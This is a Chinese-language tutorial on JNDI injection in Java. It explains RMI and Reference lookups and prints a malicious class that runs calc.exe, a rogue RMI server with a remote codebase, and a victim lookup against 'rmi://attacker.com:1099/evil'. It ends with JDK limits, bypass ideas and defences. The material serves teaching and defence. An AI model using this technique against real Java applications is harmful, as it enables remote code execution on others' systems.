JNDI注入详解
字数 1659 2025-08-11 17:40:32
JNDI注入攻击详解
1. JNDI基础概念
JNDI (Java Naming and Directory Interface) 是Java命名与目录接口,是J2EE规范中的重要组成部分。它提供了一种统一的方式来访问各种命名和目录服务,包括:
- JDBC (Java数据库连接)
- LDAP (轻量级目录访问协议)
- RMI (远程方法调用)
- NIS (网络信息服务)
- CORBA (公共对象请求代理体系结构)
核心概念
- Naming Service (命名服务):将名称与对象关联,提供通过名称查找对象的操作(如DNS系统)
- Name (名称):用于标识对象的可读名称(如文件名、机器名)
- Binding (绑定):名称与对象的关联关系(如文件名绑定到文件)
- Reference (引用):不直接存储对象,而是存储如何访问实际对象的信息
- Context (上下文):一系列名称-对象绑定的集合,提供查找、绑定等操作
2. JNDI调用机制
JNDI调用涉及三个部分:
- Client:发起请求的客户端
- RMI Registry:注册中心(默认端口1099)
- Server:实际提供服务的远程对象
调用流程:
- 客户端访问注册端口请求服务
- 注册端口返回服务信息
- 客户端启动新端口访问实际服务
3. JNDI编程实现
基本JNDI操作
JNDI提供两个关键方法:
bind():将名称绑定到对象lookup():通过名称查找对象(参数可控时可能导致漏洞)
RMI服务示例
- 定义接口:
public interface IHello extends Remote {
public String sayHello(String name) throws RemoteException;
}
- 实现接口:
public class IHelloImpl extends UnicastRemoteObject implements IHello {
public String sayHello(String name) throws RemoteException {
return "Hello " + name;
}
}
- 创建RMI服务:
Registry registry = LocateRegistry.createRegistry(1099);
IHello hello = new IHelloImpl();
registry.bind("hello", hello);
- 客户端调用:
Context ctx = new InitialContext();
IHello rhello = (IHello) ctx.lookup("rmi://localhost:1099/hello");
System.out.println(rhello.sayHello("axin"));
4. JNDI Naming Reference
Java允许通过Reference将对象存储在命名服务中。Reference包含:
className:远程加载时使用的类名classFactory:需要实例化的类名classFactoryLocation:远程加载类的地址(支持file/ftp/http等协议)
当客户端lookup()查找Reference对象时:
- 获取对应的Object Factory
- 通过factory将reference转换为具体对象实例
- 在此过程中会调用:
- 静态代码块
- 代码块
- 无参构造函数
- getObjectInstance方法
5. JNDI注入攻击原理
攻击条件
- 客户端的
lookup()方法参数可控 - 服务端使用Reference时,
classFactoryLocation参数可控
攻击流程
- 攻击者控制客户端lookup()的URI参数指向恶意RMI服务
- 恶意RMI服务器返回一个精心构造的Reference对象
- 客户端动态加载并实例化指定的Factory类
- Factory类中的恶意代码被执行
恶意类示例
public class EvilObj {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) { e.printStackTrace(); }
}
}
恶意RMI服务端
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:6666/";
Reference reference = new Reference("EvilObj", "EvilObj", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
受害者客户端
Context context = new InitialContext();
context.lookup("rmi://attacker.com:1099/evil");
6. JDK版本限制与绕过
版本限制
- JDK 6u141/7u131/8u121之后:
com.sun.jndi.rmi.object.trustURLCodebase默认为false,禁用RMI/CORBA远程codebase - JDK 6u211/7u201/8u191之后:
com.sun.jndi.ldap.object.trustURLCodebase默认为false,禁用LDAP远程codebase
绕过方法
- 加载本地工厂类:利用目标环境中已存在的恶意工厂类
- 本地反序列化链:利用目标环境中的反序列化漏洞
7. 防御措施
- 升级JDK到最新安全版本
- 避免将用户输入直接传递给
InitialContext.lookup() - 对JNDI查找参数进行严格过滤和验证
- 设置系统属性限制远程codebase加载:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
8. 总结
JNDI注入是一种严重的Java安全漏洞,攻击者可以通过控制lookup参数或Reference工厂类位置,导致远程代码执行。理解其原理和利用条件对于开发和防御都至关重要,特别是在处理用户输入与JNDI交互的场景中需要格外谨慎。